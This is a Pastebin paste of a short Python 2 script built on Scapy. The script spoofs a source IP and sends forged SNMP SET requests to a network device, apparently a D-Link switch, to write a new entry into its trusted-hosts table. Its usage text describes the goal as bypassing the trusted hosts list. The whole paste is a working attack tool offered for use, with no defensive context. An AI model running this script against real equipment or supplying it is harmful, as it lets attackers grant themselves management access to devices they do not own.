Advertisement
Guest User

trhost_spoofip

a guest
Oct 31st, 2014
438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.58 KB | None | 0 0
  1. #This utility requires an 'Scapy' installed
  2. #xcme@2014.05.12
  3.  
  4. import sys
  5. from scapy.all import *
  6. conf.verb=0
  7.  
  8. if len(sys.argv) != 7:
  9.     print "Usage  : %s <target> <spoofed_ip> <community> <trusted_network_address> <trusted_network_mask> <entry_index>" % (sys.argv[0])
  10.     print "Example: %s 192.168.0.1 192.168.10.254 private 172.16.0.0 255.255.0.0 7" % (sys.argv[0])
  11.     print "\nUtility to create a trusted host, bypassing the trusted hosts list. You must known the correct SNMP write-community and know at least one address from the list of trusted hosts."
  12.     print "If you used a spoofed IP the output will be empty. It's a normal behavior."
  13.     sys.exit(1)
  14.  
  15. target_ip  = sys.argv[1]
  16. spoofed_ip = sys.argv[2]
  17. comm       = sys.argv[3]
  18. val1       = ASN1_IPADDRESS(sys.argv[4])
  19. val3       = ASN1_IPADDRESS(sys.argv[5])
  20. val2       = 4
  21. eind       = sys.argv[6]
  22.  
  23. oid1="1.3.6.1.4.1.171.12.1.2.10.1.1.2.%s" % (eind)
  24. oid2="1.3.6.1.4.1.171.12.1.2.10.1.1.3.%s" % (eind)
  25. oid3="1.3.6.1.4.1.171.12.1.2.10.1.1.4.%s" % (eind)
  26.  
  27. pkt=IP(dst=target_ip,src=spoofed_ip)/UDP(sport=7001,dport=161)/SNMP(version=1,community=comm,
  28. PDU=SNMPset(varbindlist=[
  29. SNMPvarbind(oid=ASN1_OID(oid1),value=val1),
  30. SNMPvarbind(oid=ASN1_OID(oid2),value=val2),
  31. SNMPvarbind(oid=ASN1_OID(oid3),value=val3)
  32. ]))
  33. res=sr1(pkt,timeout=1)
  34.  
  35. if res:
  36.     err  = res[SNMPresponse].error.val
  37.     erri = res[SNMPresponse].error_index.val
  38.     print "error: %s (%s)" % (err, erri)
  39.     for i in res[SNMPresponse].varbindlist:
  40.         oid  = i.oid.val
  41.         val  = i.value.val
  42.         print "oid: %s, val: %s" % (str(oid), str(val))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement